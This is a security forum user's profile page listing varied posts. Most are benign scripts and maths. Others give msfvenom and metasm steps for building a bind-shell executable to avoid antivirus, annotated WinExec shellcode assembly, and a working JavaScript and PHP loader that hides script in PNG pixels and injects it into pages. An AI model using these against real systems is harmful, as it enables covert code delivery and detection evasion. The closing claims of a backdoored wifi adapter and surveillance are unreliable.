Jump to content

fugu

Active Members
  • Posts

    197
  • Joined

  • Last visited

  • Days Won

    6

Everything posted by fugu

  1. ok, so a while back I wrote a program in qt that was a GUI-ish iptables logger for the desktop, I just posted it but its really not done either (although it is functioning). It's got a tasktray icon and uses the notify-osd system to send bubble notifications when iptables sends a log entry to syslog. The real guts of the program is executing a QProcess->start() to do a system() like command. But is also able to retrieve the results of the command to use back into the program. Qt uses lots of SIGNALS/SLOT to provide functionality to buttons and stuff like that, and I find it quiet confusing myself. Maybe this program might be able to provide you with some help to get you program in the direction you would like to go. http://iple.sourceforge.net
  2. I like this idea. I've been toying with another idea about an email-like system that would only permit pgp/gpg encrypted emails to enter the server. So unless the sender has the recipient's public key and uses it, the "email" doesn't even get through. I don't know if you could even call it email anymore, but it would be more end-to-end encrypted.
  3. I hope anyway! I put together 2 scripts to make it easy to pipe strings into/out of gpg from the commandline and I have found it useful $ cat ./encrypt.sh #!/bin/bash cat - | gpg --encrypt -r $(gpg --list-secret-keys | grep '^sec ' | head -n 1 | cut -d\ -f4 | cut -d/ -f2) and $ cat ./decrypt.sh #!/bin/bash TEMPFILE=$(tempfile) exec 3<> $TEMPFILE cat - >&3 zenity --password --title="Passphrase" --cancel-label="Skip" | gpg --no-tty --passphrase-fd 0 --decrypt -q --no-use-agent $TEMPFILE if [ -x $(which shred) ]; then shred -z -n 6 -u $TEMPFILE; else rm -f $TEMPFILE; fi unset TEMPFILE exec 3>&- So you should be able to do things like: $ echo 'Hello World' | ./encrypt.sh > encfile.bin $ cat encfile.bin | ./decrypt.sh Hello World I've tested it somewhat and it seems to work well. But it might not work well if you system has more then onesecret key on it, cause it uses the first public/secret key pair it finds in your gpg keyring.
  4. I know Im late to the discussion, but there is a good demo of this software, somewhere on securitytube. I think it might be here: WLAN Security Megaprimer 10 from Vivek Ramachandran http://www.securitytube.net/video/1780 https://player.vimeo.com/video/22832760
  5. Yeah that something I didn't even think of. but if you use unicode you password is now limited to 4..31 characters. #3 $ wpa_passphrase test "ÂÂÂ" Passphrase must be 8..63 characters #4 $ wpa_passphrase test "ÂÂÂÂ" network={ ssid="test" #psk="ÂÂÂÂ" psk=8c01c60dabccfc54d59c0b1a8fd4b377749722a56bae9ae45cd5c703eb5a6e35 } #31 $ wpa_passphrase test "ÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂ" network={ ssid="test" #psk="ÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂ" psk=73573d6631649a55785a0db46399664d7195e9310c7d494aefc1d874d15db9be } #32 $ wpa_passphrase test "ÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂ" Passphrase must be 8..63 characters ∑i = 431 (256)i = (256)31 + (256)30 + (256)29 + ⋯ + (256)4
  6. Ok so for correctness my math is wrong. It's actually going to be an even bigger number then I had previously said. My correction is ∑ i = 863 (26+26+10+58) i = (26+26+10+58) 63 + (26+26+10+58) 62 + (26+26+10+58) 61 + ⋯ + (26+26+10+58) 8 This is the absolute total number of possible passwords in wpa2. And its a big number. I think just the first term in this equation is ~10^130, even running 10,000 password tries a sec could take forever.
  7. If Im not mistaken, I think the minimum password length for wpa2 is 8 characters. The maximum is 63 characters long. The total keyspace for wpa2 (including upper/lower/digit/symbol) is about: $ python -c 'print ( (26+26+10+58)**63 - (26+26+10+58)**8 )' if you divide that number by the Tries/sec your able to perform, you'll have (about) the number of seconds it'll take to crack it via brute force. That keyspace is pretty big IMO.
  8. It seems to me that I think he might be doing this as a learning challenge, to figure out what his equipment is capable of :)
  9. This might seem a little weird, but can you try to separate your 2 antennas a little bit more? I've seen weird problems with interference between 2 wifi cards are are too close to each other. It might be causing some lost packets. you might also run wireshark to see if there is anything obviously going wrong.
  10. A while back I found a batch script for OS version detection, it's doing something similar, maybe you can adapt it: SET OSVersion=Unknown VER | FINDSTR /L "5.0" > NUL IF %ERRORLEVEL% EQU 0 SET OSVersion=2000 VER | FINDSTR /L "5.1." > NUL IF %ERRORLEVEL% EQU 0 SET OSVersion=XP VER | FINDSTR /L "5.2." > NUL IF %ERRORLEVEL% EQU 0 SET OSVersion=2003 VER | FINDSTR /L "6.0." > NUL IF %ERRORLEVEL% EQU 0 SET OSVersion=Vista VER | FINDSTR /L "6.1." > NUL IF %ERRORLEVEL% EQU 0 SET OSVersion=7 VER | FINDSTR /L "6.2." > NUL IF %ERRORLEVEL% EQU 0 SET OSVersion=8 IF %OSVersion%==Unknown ( ECHO Unable to determine your version of Windows. ) ELSE ( ECHO You appear to be using Windows %OSVersion% )
  11. So I guess there is already a tool to do this in: /usr/share/metasploit-framework/lib/metasm/samples/disassemble.rb But for the life of me I can't get it to work. I know I've seen it work before and it does something my script doesn't, which is using relative names for the jmp and loop points. ndisasm uses static/absolute addresses for each jmp and loop it makes, which is fine, but if you want to add your own asm code, these values might change. I'll will make a new script to fix this (and release/update it here), and I will also try to figure out how to get the metasm program working too. UPDATE: Heres a tutorial on how to get metasm working: https://www.pentestgeek.com/penetration-testing/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm/ His tutorial seems to be broken for kali-2.0's version of metasploit, but instead of all the copying of files, I've found a way to get it to run: $ cd /usr/share/metasploit-framework/lib/metasm/samples/ $ msfvenom -p windows/shell/bind_tcp -f raw > raw_binary $ ruby -I.. disassemble.rb raw_binary > test.asm $ ruby -I.. peencode.rb test.asm -o test.exe I have not been having luck getting msf's shellcode to execute though. It works fine when I use their builtin compiler, but the shellcode alone doesn't seem to want to work. I don't know...
  12. Yeah I guess thats right. I wish I knew how to make it a true oneliner, but its so complicated it's probably not possible. I should relabel this post "script" for clarity. Just piping in the .o/.obj file probably won't work, I've been diving into those files to pull out just the executable part of it. I'm mainly using it for analysing shellcodes and such. I've found that tools like objdump/ndisasm are great for disassembly, but the format they leave the code in can't be compiled. I made this script to convert the ndisasm output into something that can be directly compiled again. So, for instance, you can do $ msfpayload windows/exec CMD=dir R | xxd -ps | tr -d '\n'; echo and this could be the machine code used in the script.
  13. and for those that think AT&T syntax is like nails on a chalkboard, there's objdump -M intel -d payload.exe
  14. I've been messing with machine <-> asm back and forth, and I have a script to create compilable asm from machine code (in hex format) s="90909041484A"; echo "section .bss"; echo; echo "section .data"; echo; echo "section .text"; echo " global _start"; echo " _start:"; COUNT=0; for i in $(echo -n "$s" | xxd -ps -r | ndisasm -b 32 - | awk '{ORS="";print " ";for(i=3; i<NF+2; i++) print $i" "; print "; "$1" "$2"\n"}' | tr ' ' '\377'); do CHAR_TEMP="$(echo "$i" | tr '\377' ' ' | sed 's/^\([^;]*\);.*$/\1/g' | wc -c)"; CHAR_WC=$(($CHAR_TEMP / 8 )); if [ "$((CHAR_TEMP % 8))" = "0" ]; then CHAR_WC=$(($CHAR_WC-1)); fi; echo "$i" | tr '\377' ' ' | sed 's/^\([^;]*\);.*$/\1/g' | tr -d '\n'; for j in $(seq 0 $((8-$CHAR_WC))); do echo -ne "\t"; done; echo "$i" | tr '\377' ' ' | sed 's/^[^;]*\(;.*\)$/\1/g' | tr -d '\n'; echo; COUNT=$(($COUNT+1)); done maybe is might be helpful to someone
  15. I too have been trying to learn asm, analysing old exploits, trying to learn how they work. I have one that is partly analysed which has notes that I've added, from myself and resouces i've found, to help me understand what's going on. I know parts of my notes are already incorrect, and things I thought I understood, when analysed with ollydbg, and not behaving the way that I thought they should behave. But feel free to take a look: ;nasm -f win32 allwin_exec.asm ;/opt/mingw32/bin/i686-w64-mingw32-ld -m i386pe -o allwin_exec.exe allwin_exec.obj ;wine allwin_exec.exe SECTION .bss SECTION .data SECTION .text global _start; global main ; _start _start: ;main: ; _start: cld ; 00000000 FC xor edx,edx ; 00000001 31D2 ;clear ebx mov dl,0x30 ; 00000003 B230 push dword [fs:edx] ; 00000005 64FF32 pop edx ; 00000008 5A ; get a pointer to the PEB in edx mov edx,[edx+0xc] ; 00000009 8B520C ; get PEB->Ldr in edx mov edx,[edx+0x14] ; 0000000C 8B5214 ; get the first module from the InMemoryOrder module list next_mod: mov esi,[edx+0x28] ; 0000000F 8B7228 ; get pointer to modules name (unicode string) xor ecx,ecx ; 00000012 31C9 ; clear ecx mov cl,0x18 ; 00000014 B118 ; load the loop count we want into ecx xor edi,edi ; 00000016 31FF ; clear edi which will store the hash of the module name loop_modname: xor eax,eax ; 00000018 31C0 ; clear eax lodsb ; 0000001A AC ; read in the next byte of the name cmp al,0x61 ; 0000001B 3C61 ; is it 'a'? some versions of Windows use lower case module names jl not_lowercase ; 0000001D 7C02 sub al,0x20 ; 0000001F 2C20 ; not lowercase, change to 'A' not_lowercase: ror edi,0xd ; 00000021 C1CF0D ; rotate right our hash value add edi,eax ; 00000024 01C7 ; add the next byte of the name to the hash loop loop_modname ; 00000026 E2F0 ; loop until we have read enough cmp edi,0x6a4abc5b ; 00000028 81FF5BBC4A6A ; compare the hash with that of KERNEL32.DLL, see py prog below mov ebx,[edx+0x10] ; 0000002E 8B5A10 ; get this module's base address mov edx,[edx] ; 00000031 8B12 ; get the next module jnz next_mod ; 00000033 75DA ; if it doesn't match, process the next module ; when we get here EBX is the kernel32 base. mov edx,[ebx+0x3c] ; 00000035 8B533C add edx,ebx ; 00000038 01DA push dword [edx+0x34] ; 0000003A FF7234 mov edx,[edx+0x78] ; 0000003D 8B5278 add edx,ebx ; 00000040 01DA mov esi,[edx+0x20] ; 00000042 8B7220 add esi,ebx ; 00000045 01DE xor ecx,ecx ; 00000047 31C9 numtwo: ; looks like we are searching for the correct ECX here, possibly an index for the GetProcAddress module? inc ecx ; 00000049 41 ; get next module lodsd ; 0000004A AD ; current module offset is loaded into eax add eax,ebx ; 0000004B 01DE ; add Kernel32 address to offset; Actual Mod Name Address cmp dword [eax],0x50746547 ; 0000004D 813847657450 ; 'GetP' jnz numtwo ; 00000053 75F4 cmp dword [eax+0x4],0x41636f72 ; 00000055 817804726F6341 ; 'rocA' jnz numtwo ; 0000005C 75EB cmp dword [eax+0x8],0x65726464 ; 0000005E 81780864647265 ; 'ddre' -> "GetProcAddress" jnz numtwo ; 00000065 75E2 ; at this point, EAX points to "GetProcAddress" dec ecx ; 00000067 49 mov esi,[edx+0x24] ; 00000068 8B7224 add esi,ebx ; 0000006B 01DE mov cx,[esi+ecx*2] ; 0000006D 668B0C4E mov esi,[edx+0x1c] ; 00000071 8B721C add esi,ebx ; 00000074 01DE mov edx,[esi+ecx*4] ; 00000076 8B148E add edx,ebx ; 00000079 01DA ; edx gets Offset for Kernel32.GetProcAddress push edx ; 0000007B 52 push dword 0x1636578 ; 0000007C 6878656301 ; 'xec\1' dec byte [esp+0x3] ; 00000081 FE4C2403 ; fix the \1 so its \0? push dword 0x456e6957 ; 00000085 6857696E45 ; 'WinE' -> "WinExec\0" push esp ; 0000008A 54 ; pushes the value of esp as it existed before the instruction push ebx ; 0000008B 53 ; add KERNEL32.DLL base to stack? call edx ; 0000008C FFD2 ; calls Kernel32.GetProcAddress ; Kernel32.GetProcAddress("WinExec\0") push byte +0x5 ; 0000008E 6A05 ; shrug?!? jmp short endhere ; 00000090 EB23 ; Load the command address into memory returnhere: call eax ; 00000092 FFD0 ; WinExec("notepad.exe\0"); !!! exithere: push dword 0x01737365 ; 00000094 6865737301 ; 'ess\1' dec byte [esp+0x3] ; 00000099 FE4C2403 ; fix the \1 so its \0? push dword 0x636f7250 ; 0000009D 6850726F63 ; 'Proc' push dword 0x74697845 ; 000000A2 6845786974 ; 'Exit' -> "ExitProcess\0" push esp ; 000000A7 54 ; pushes the value of esp as it existed before the instruction push dword [esp+0x1c] ; 000000A8 FF74241C call dword near [esp+0x1c] ; 000000AC FF54241C push edi ; 000000B0 57 call eax ; 000000B1 FFD0 endhere: call dword returnhere ; 000000B3 E8D8FFFFFF db 'notepad.exe',0 and if you can help me add to this, please feel free to tell me something that is wrong!edit: I forgot to add the python script I had mentioned above, it shows how you get 0x6a4abc5b from KERNEL32.DLL #Python: getting the hash of "KERNEL32.DLL" def shift(x,shift): return ((x>>shift) | (x << (32-shift))) & 0xFFFFFFFF x = "KERNEL32.DLL" print x out = 0 for i in xrange(0,len(x)): out = shift(out,13) + ord(x[i]) out = shift(out,13) #For unicode print "%08x"%out
  16. https://www.raspberrypi.org/blog/raspberry-pi-zero/ This looks really sweet! and only $5!
  17. Yup your right, this is a real basic stegano, and the "cat_new.png" file visually looks just identical to the cat.png file. It loads just the same as a normal png file does, but the important js data is stored in all of the Least Significant Bits of each of the red, green, and blue colors for each pixel. The page loads identical to way the page would load normally, but will also execute the additional js hidden in the image. because its possible for images on sites to be loaded from off-site, the server running the website might only look at files on their own site and not the image thats off-site. It would also allow you to maintain control of js code remotely if you can modify the image file. And this doesn't use calculus at all, but does use discrete math quite a little bit. Changing bits to bytes and back again.
  18. So a while back I read about a clip of javascript that used images to hide html/js code to avoid detection, but it was obvious that the image was malformed just by looking at it. I wrote this code (by modifying the code found in the wild) to use steganography to hide the code and make it a little harder to detect. html: <html> <head> </head> <body> <img id='output' src='./cat_new.png' /> <script type="text/javascript" src="./inject.js"></script> </body> </html> inject.js: var canvas = document.createElement("canvas"); if (canvas.getContext) { var context = canvas.getContext("2d"); if (context.getImageData) { var img = document.getElementById("output"); img.onload = function() { context.drawImage(this,0,0); var data = context.getImageData(0,0,this.offsetWidth,this.offsetHeight).data; var p = -1; var by = []; for (var i=0;i<data.length;i++) { by[++p] = data[4*i+0] & 0x01; by[++p] = data[4*i+1] & 0x01; by[++p] = data[4*i+2] & 0x01; }; var a = []; p = -1; var n = Math.floor(by.length/8); for (var i=0;i<n;i++){ var bt = 0; bt += by[8*i+0]*0x01; bt += by[8*i+1]*0x02; bt += by[8*i+2]*0x04; bt += by[8*i+3]*0x08; bt += by[8*i+4]*0x10; bt += by[8*i+5]*0x20; bt += by[8*i+6]*0x40; bt += by[8*i+7]*0x80; if(bt > 0) a[++p] = String.fromCharCode(bt); } var dtn = document.createElement('script'); dtn.innerHTML = a.join(""); document.body.appendChild(dtn); } } } a basic encoder/decodersimple_steganography_example.php: <?php // Requires php5-cli and php5-gd installed (you might be able to use a server version of php but you'll need to hardcode your message in this script) // Use: $ php simple_steganography_example.php "Message goes here" function set_bit_on_byte($bit_index, $current_bit, $byte){ if($byte < 0 || $byte > 255){ exit(); } if($current_bit != 0 && $current_bit != 1){ exit(); } if(($bit_index % 8) == 0) return (0xFE & $byte) + ($current_bit * 0x01); else if(($bit_index % 8) == 1) return (0xFD & $byte) + ($current_bit * 0x02); else if(($bit_index % 8) == 2) return (0xFB & $byte) + ($current_bit * 0x04); else if(($bit_index % 8) == 3) return (0xF7 & $byte) + ($current_bit * 0x08); else if(($bit_index % 8) == 4) return (0xEF & $byte) + ($current_bit * 0x10); else if(($bit_index % 8) == 5) return (0xDF & $byte) + ($current_bit * 0x20); else if(($bit_index % 8) == 6) return (0xBF & $byte) + ($current_bit * 0x40); else if(($bit_index % 8) == 7) return (0x7F & $byte) + ($current_bit * 0x80); else exit(); } function get_bit_on_byte($bit_index, $byte){ if(($bit_index % 8) == 0) return ($byte & 0x01) == 0?0:1; else if(($bit_index % 8) == 1) return ($byte & 0x02) == 0?0:1; else if(($bit_index % 8) == 2) return ($byte & 0x04) == 0?0:1; else if(($bit_index % 8) == 3) return ($byte & 0x08) == 0?0:1; else if(($bit_index % 8) == 4) return ($byte & 0x10) == 0?0:1; else if(($bit_index % 8) == 5) return ($byte & 0x20) == 0?0:1; else if(($bit_index % 8) == 6) return ($byte & 0x40) == 0?0:1; else if(($bit_index % 8) == 7) return ($byte & 0x80) == 0?0:1; else exit(); } function read_stego($filename){ $im = imagecreatefrompng($filename); if($im === false){ echo "Error: bad image format ".$filename.PHP_EOL; exit(); } $a = getimagesize($filename); $code_height_start = 0; $code_height_end = $a[0]; $code_width_start = 0; $code_width_end = $a[1]; $bit_ary = array(); for ($j=$code_width_start; $j<$code_width_end; $j++){ for ($i=$code_height_start; $i<$code_height_end; $i++){ $rgb = imagecolorat($im, $i, $j); $r = ($rgb >> 16) & 0x01; $g = ($rgb >> 8) & 0x01; $b = $rgb & 0x01; $bit_ary[] = $r; $bit_ary[] = $g; $bit_ary[] = $b; } } // $bit_ary is now the $stack input string, just in a { 1, 0, 0, 1, 0, 1, 1, 1, ... } formated array $n = intval(floor(count($bit_ary)/8)); //throw out last partial byte $stack = ''; for($i=0; $i < $n; $i++){ $current_byte = 0; $current_byte = set_bit_on_byte(0, $bit_ary[$i*8], $current_byte); $current_byte = set_bit_on_byte(1, $bit_ary[$i*8+1], $current_byte); $current_byte = set_bit_on_byte(2, $bit_ary[$i*8+2], $current_byte); $current_byte = set_bit_on_byte(3, $bit_ary[$i*8+3], $current_byte); $current_byte = set_bit_on_byte(4, $bit_ary[$i*8+4], $current_byte); $current_byte = set_bit_on_byte(5, $bit_ary[$i*8+5], $current_byte); $current_byte = set_bit_on_byte(6, $bit_ary[$i*8+6], $current_byte); $current_byte = set_bit_on_byte(7, $bit_ary[$i*8+7], $current_byte); $stack .= chr($current_byte); } imagedestroy($im); return $stack; } function write_stego($input_filename, $output_filename, $str){ $im = imagecreatefrompng($input_filename); $a = getimagesize($input_filename, $imageinfo); $code_height_start = 0; $code_height_end = $a[0]; $code_width_start = 0; $code_width_end = $a[1]; $im2 = imagecreatetruecolor($code_height_end, $code_width_end); $bit_index = 0; $current_byte = 0; $stack = $str; $max_num_bits = ($code_height_end - $code_height_start) * ($code_width_end - $code_width_start) * 3; $max_num_bytes = floor($max_num_bits/8); $n = strlen($str); $bit_ary = array(); if( $n > $max_num_bytes ){ imagedestroy($im); imagedestroy($im2); echo "Error: input string too long, limit input string to ".$max_num_bytes." for the image: ".$input_filename.PHP_EOL; exit(); } for($i=0; $i < $n; $i++){ $current_char = substr($str, $i, 1); $bit_ary[] = get_bit_on_byte(0, ord($current_char)); $bit_ary[] = get_bit_on_byte(1, ord($current_char)); $bit_ary[] = get_bit_on_byte(2, ord($current_char)); $bit_ary[] = get_bit_on_byte(3, ord($current_char)); $bit_ary[] = get_bit_on_byte(4, ord($current_char)); $bit_ary[] = get_bit_on_byte(5, ord($current_char)); $bit_ary[] = get_bit_on_byte(6, ord($current_char)); $bit_ary[] = get_bit_on_byte(7, ord($current_char)); } // $bit_ary is now the $str input string in a { 1, 0, 0, 1, 0, 1, 1, 1, ... } format array $bit_index = 0; for ($j=$code_width_start; $j<$code_width_end; $j++){ for ($i=$code_height_start; $i<$code_height_end; $i++){ $rgb = imagecolorat($im, $i, $j); $current_bit = 0; if($bit_index < count($bit_ary)){ $current_bit = $bit_ary[$bit_index]; } $r = (($rgb >> 16) & 0xFE) + $current_bit; $bit_index++; $current_bit = 0; if($bit_index < count($bit_ary)){ $current_bit = $bit_ary[$bit_index]; } $g = (($rgb >> 8) & 0xFE) + $current_bit; $bit_index++; $current_bit = 0; if($bit_index < count($bit_ary)){ $current_bit = $bit_ary[$bit_index]; } $b = ($rgb & 0xFE) + $current_bit; $bit_index++; imagesetpixel($im2, $i, $j, imagecolorallocate($im2, $r, $g, $b)); } } imagepng($im2, $output_filename); imagedestroy($im); imagedestroy($im2); } $input_filename = './cat.png'; $output_filename = './cat_new.png'; if(isset($argv[1])){ write_stego($input_filename, $output_filename, $argv[1]); }else{ echo read_stego($output_filename); } ?>
  19. It was the middle of winter. Even on the sunniest of days it was still below freezing in the car.
  20. Im not sure what you mean here. The computer I tested it on never left my house and had a fresh install on it. I had a test wifi access point setup with a very secure password. The only component that left the house was the wifi adapter. I generated random traffic over the network. And after the attack, I discovered a persistent backdoor hidden in /sbin/dhclient that could have only gotten there one way (dhclient was the only server service I left running). The computer was never on the internet.
  21. Something was going on at the store I was working at, (retail sales). Different people, strangers even kept coming into the store and in casual conversations started mentioning details of various things I had google searched for on the internet, youtube videos, websites I'd had visited. Two of these strangers described in detail the firewall configuration of this particular computer. How ballzy would someone have to be to talk to me after intentionally breaking into my computer?
  22. fugu

    Entropy Device

    That is just what I was looking for. I think 1A is way more then I will need but I really don't know. Ill give it a try.
  23. I have an alfa networks wifi adapter thats been "tampered" with. After lending it to a "friend" who kept it for a week, I got suspicious and set up a fresh computer to try it out on, with minimal and unique fake information on. That minimal and unique data was leaked and I discovered that although at first glance it looked identical to when I gave it to him, I did notice something strange. All of the surface mount components had slid just a little bit, all in the same direction, as though the card had be placed in a desoldering over, and the surface was not completely level. I have yet to have the card tested by a professional.
×
×
  • Create New...